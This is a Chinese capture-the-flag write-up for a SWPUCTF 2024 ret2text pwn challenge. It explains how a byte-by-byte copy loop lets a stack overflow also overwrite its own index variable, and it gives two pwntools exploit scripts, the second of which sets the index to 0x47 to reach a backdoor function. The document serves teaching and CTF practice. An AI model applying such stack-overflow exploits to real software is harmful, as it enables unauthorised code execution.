0%

[SWPUCTF 2024 秋季新生赛]不是哥们ret2text还阴啊?

2025-02-07 10:44By
helios973
栈溢出ret2text

Problem: [SWPUCTF 2024 秋季新生赛]ret2libc也阴嘛?

[SWPUCTF 2024 秋季新生赛]ret2libc也阴嘛?

NSSIMAGE

这里是一个常见的保护因此要看一下ida的反编译

NSSIMAGE

这里发现我们的输入的数据是一个一个字节一个字节的进行读入并且进行循环写入到下一个位置中并且使用一个数组进行一个输入的

但是这里可以看出一个常见的栈溢出

并且在函数中发现后门

NSSIMAGE

因此可以明确他是一个ret2text

所以我的exp

from pwn import * context.log_level='debug' # io = remote("node6.anna.nssctf.cn",26003) io = process("/home/fofa/trick") offset = 0x40+8 shell = 0x04011E2 payload = cyclic(offset)+p64(shell) #gdb.attach(io,'b *0x0401260\n') io.sendline(payload) # gdb.attach(io) # pause() io.interactive() 0x7ffdbe37722c

但是发现这个并不能调用后门

NSSIMAGE

发现他i的数据被篡改了这里我们再去看一下ida

NSSIMAGE

发现当我们写到return地址时我们同样也会篡改到i的值而我们从上面的代码中可以知道写入的位置和i的数值有这个关系因此我们要把后门函数精准的放到返回地址的位置因此我们要加一些东西

NSSIMAGE

要把后面的后面写入到返回地址的位置

NSSIMAGE

所以i的值要成为47

所以完整exp

from pwn import * context.log_level='debug' # io = remote("node6.anna.nssctf.cn",26003) io = process("/home/fofa/trick") offset = 0x40-4 shell = 0x04011E2 payload = cyclic(offset)+p8(0x47)+p64(shell) gdb.attach(io,'b *0x0401260\n') io.sendline(payload) # gdb.attach(io) # pause() io.interactive()

总结

要明白指针和循环中的参数和我们输入值的关系并且要确保后门函数写入到返回值中

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

i的值为什么一定要是0x47呢
按道理来说将48地址的内容改为backdoor就可以在ret的时候正常ret到backdoor了吧 为什么一定要指定i的值呢